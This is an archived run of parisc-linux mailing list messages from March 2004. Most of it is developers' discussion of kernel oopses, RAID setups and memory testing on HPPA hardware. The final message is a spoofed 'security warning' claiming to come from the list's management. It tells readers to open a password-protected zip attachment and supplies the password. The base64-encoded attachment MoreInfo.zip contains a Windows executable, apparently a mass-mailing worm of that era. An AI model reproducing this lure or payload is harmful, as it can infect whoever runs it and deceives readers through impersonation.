	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 03 Mar 2004 10:26:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20979

Something that might affect my machine is that I am running ext3 on
top of md+raid1. I'm used to that being rock solid on i386, but it
might be a culprit on hppa.

Wichert.

-- 
Wichert Akkerman <wichert@wiggy.net>    It is simple to make things.
http://www.wiggy.net/                   It is hard to make things simple.



From - Thu Nov 08 21:31:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ecartis <ecartis@oss.sgi.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Ecartis command results: -- Binary/unsupported file
	stripped by Ecartis --
Date: Wed, 03 Mar 2004 05:19:52 -0800 (PST)
Lines: 8
Approved: news@gmane.org
Message-ID: <ecartis-03032004051952.22268.1@oss.sgi.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623237 6282 80.91.229.3 (22 Nov 2014 02:27:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: ecartis-owner@oss.sgi.com  Wed Mar  3 06:19:53 2004
Return-Path: <ecartis-owner@oss.sgi.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from oss.sgi.com (oss.sgi.com [192.48.159.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC99E4857
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Mar 2004 06:19:53 -0700 (MST)
Original-Received: from oss.sgi.com (localhost [127.0.0.1])
	by oss.sgi.com (8.12.10/8.12.9) with ESMTP id i23DJqKO022269
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 3 Mar 2004 05:19:52 -0800
Original-Received: from oss.sgi.com by oss.sgi.com (ECARTIS/1.0.0);
	Wed, 03 Mar 2004 05:19:52 -0800 (PST)
X-ecartis-antiloop: oss.sgi.com
Precedence: list
Expiry-Date: Thu, 04 Mar 2004 05:19:52 -0800 (PST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 03 Mar 2004 13:19:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20980


>> Please read the attached file.
Unknown command.

---
Ecartis v1.0.0 - job execution complete.



From - Thu Nov 08 21:31:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: another kernel oops
Date: Wed, 3 Mar 2004 13:44:27 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20040303184425.GE32624@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623238 6286 80.91.229.3 (22 Nov 2014 02:27:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Wed Mar  3 11:45:47 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE3D24857
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Mar 2004 11:45:47 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AybM4-000087-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 03 Mar 2004 13:44:28 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (1% Sync Ratio [..........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 03 Mar 2004 18:45:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20981

On Wed, Mar 03, 2004 at 11:26:56AM +0100, Wichert Akkerman wrote:
> Something that might affect my machine is that I am running ext3 on
> top of md+raid1. I'm used to that being rock solid on i386, but it
> might be a culprit on hppa.

I don't think so, but perhaps. I tested my A500 with an external SCSI
array, ext3 ontop of md+raid5. Infact I could test it again when I find
some time. The box in question seems to be suffering some disk issues?

c.


From - Thu Nov 08 21:31:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] another oops
Date: Wed, 3 Mar 2004 13:45:32 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <20040303184532.GF32624@baldric.uwo.ca>
References: <20040303102551.GC28450@wiggy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623238 6289 80.91.229.3 (22 Nov 2014 02:27:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Wichert Akkerman <wichert@wiggy.net>
Original-X-From: carlos@baldric.uwo.ca  Wed Mar  3 11:47:12 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07E084857
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Mar 2004 11:47:12 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AybN7-00008v-00; Wed, 03 Mar 2004 13:45:33 -0500
Content-Disposition: inline
In-Reply-To: <20040303102551.GC28450@wiggy.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (1% Sync Ratio [..........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 03 Mar 2004 18:47:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20982

On Wed, Mar 03, 2004 at 11:25:51AM +0100, Wichert Akkerman wrote:
> This one seems to be a bit different: it happens in a mmap syscall and seems
> to be VM related.

Perhaps your box in question is suffering memory issues?
Tried removing some dimms?

c.


From - Thu Nov 08 21:31:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wichert Akkerman <wichert@wiggy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] another oops
Date: Wed, 3 Mar 2004 20:06:19 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20040303190619.GC8736@wiggy.net>
References: <20040303102551.GC28450@wiggy.net>
	<20040303184532.GF32624@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623238 6291 80.91.229.3 (22 Nov 2014 02:27:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: wichert@levante.wiggy.net  Wed Mar  3 12:06:20 2004
Return-Path: <wichert@levante.wiggy.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx1.wiggy.net (levante.wiggy.net [195.85.225.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6950C4857
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Mar 2004 12:06:20 -0700 (MST)
Original-Received: from wichert by mx1.wiggy.net with local (Exim 4.30)
	id 1AybhD-0002lW-NW
	for parisc-linux@lists.parisc-linux.org; Wed, 03 Mar 2004 20:06:19 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040303184532.GF32624@baldric.uwo.ca>
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Wichert Akkerman <wichert@levante.wiggy.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 03 Mar 2004 19:06:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20983

Previously Carlos O'Donell wrote:
> Perhaps your box in question is suffering memory issues?
> Tried removing some dimms?

Kind of hard considering the box is in a colo. Is there a memtest86-like
thing for hppa I could run remotely?

Wichert.

-- 
Wichert Akkerman <wichert@wiggy.net>    It is simple to make things.
http://www.wiggy.net/                   It is hard to make things simple.



From - Thu Nov 08 21:31:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: management@parisc-linux.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] E-mail account security warning.
Date: Thu, 04 Mar 2004 12:43:05 +0530
Lines: 257
Approved: news@gmane.org
Message-ID: <rvmsppyngvdbjxcgrlv@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="--------bskqrbpbiciyloyrridm"
X-Trace: ger.gmane.org 1416623238 6294 80.91.229.3 (22 Nov 2014 02:27:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Thu Mar  4 00:13:19 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from kodagali-scif (unknown [164.100.34.194])
	by dsl2.external.hp.com (Postfix) with SMTP id 55EB848E8
	for <parisc-linux@parisc-linux.org>;
	Thu,  4 Mar 2004 00:13:16 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 04 Mar 2004 07:13:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20984

----------bskqrbpbiciyloyrridm
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Dear user, the management of Parisc-linux.org  mailing system  wants to let you know that,

We warn  you about  some  attacks  on your e-mail account. Your computer may
contain viruses,  in order to keep your computer and  e-mail account safe,
please, follow the  instructions.

Further  details can be  obtained  from attached file.

For security  reasons attached  file is password protected. The  password is "38662".

Sincerely,
   The  Parisc-linux.org team                               http://www.parisc-linux.org

----------bskqrbpbiciyloyrridm
Content-Type: application/octet-stream; name="MoreInfo.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="MoreInfo.zip"

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
